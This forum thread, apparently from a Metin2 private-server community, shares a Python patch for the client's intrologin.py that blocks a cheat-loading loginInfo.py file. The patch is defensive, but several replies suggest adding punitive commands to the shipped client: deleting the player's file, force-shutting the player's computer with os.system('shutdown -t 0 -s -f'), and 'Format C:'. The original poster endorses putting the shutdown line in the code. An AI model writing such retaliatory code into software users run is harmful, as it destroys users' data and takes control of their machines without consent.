How to block loginInfo.py client bug

[Rumor 3198]

A player can use a python cheat or client extractor by putting their python script in the game directory and naming it "loginInfo.py". This will detour the player from doing so.

1. Unpack your root archive.

 

2. Edit the file "intrologin.py".

 

3. Find this line:

self.__LoadLoginInfo("loginInfo.py")

4. Replace the entire line with this:

if not os.path.exists('logininfo.py') and not os.path.isfile('logininfo.py'):
			self.__LoadLoginInfo("loginInfo.py")
		else:
			dbg.LogBox('Ah so you want to try to extract the client?n'
								'Or maybe you want to run your favorite cheat?n'
								'Not gonna happen...n'
								'It seems I have already thought of this.n'
								'I am ATLEAST one step ahead of you...n'
								'------------------------------------------------n'
								'n'
								"TRY HARDER BRO")
			exception.Abort("Unsupported file, please delete it. (TRY HARDER BRO)") # Syserr.txt
			return

You can of-course change the message to whatever you like. "/n" denotes a line break.

 

Here's what it looks like when someone tries to use this bug after you've added the protection:

[nostradame37 1]

If its work  N1 thanks

[PACI 1130]

Very nice but I prefer to use an os.remove('loginInfo.py') to troll them ahaha xD

[Mehti 81]

Thanks roman

[MORTE 105]

        if not os.path.exists('logininfo.py') and not os.path.isfile('logininfo.py'):
            self.__LoadLoginInfo("loginInfo.py")
        else:
            dbg.LogBox('Ah so you want to try to extract the client?n'
                                'Or maybe you want to run your favorite cheat?n'
                                'Not gonna happen...n'
                                'It seems I have already thought of this.n'
                                'I am ATLEAST one step ahead of you...n'
                                '------------------------------------------------n'
                                'n'
                                "TRY HARDER BRO")
            exception.Abort("Unsupported file, please delete it. (TRY HARDER BRO)") # Syserr.txt
            return

HELP ?

Edited August 16, 2022 by Metin2 Dev
Core X - External 2 Internal

[Zetsu 83]

And they can go to your pack/root and replace these lines ^^ the best way to block it (my opinion) it's to change file name (like daindiwofnaenfs.py) and encrypt your arhives. But this little trick it's nice too

[MORTE 105]

Batsa virtualize root.eix in metin2client.bin

 

BUMP

[Sanchez 2975]

I used this for a long time, and it was funny because the players immediately forget the hacking:

os.system("shutdown -t 0 -s -f")

It's force close every app and shutdown their computers.

[siemka256 14]

Thanks, I just fixed my problem, I had logininfo.txt instead of logininfo.py

changed, working now.

[Koray 3315]

I used this for a long time, and it was funny because the players immediately forget the hacking:

os.system("shutdown -t 0 -s -f")

It's force close every app and shutdown their computers.

 

os.system("Format C:")

 

the best

[.DVNTY 0]

Thats very cool thank you man!

 

Sanchez can i just add ôur line to the code of Rumor?

Send me a PM please.

 

Regards

[Rumor 3198]

Thats very cool thank you man!

 

Sanchez can i just add ôur line to the code of Rumor?

Send me a PM please.

 

Regards

Just put Sanchez's snippet in the else condition

[ragem0re 171]

Hi,

what's about just remove this function?

[Galet 589]

Hi,

what's about just remove this function?

Remove what function ?

You must add it in order to block logininfo.py exploit ^^

[ragem0re 171]

I mean to remove this LoadLoginInfo function, so the Client don't tries to load it.

[uniqs 0]

good idea. but I prefer to remove python all. every dynamic program can enumerate all global objects and functions, it is too dangerous!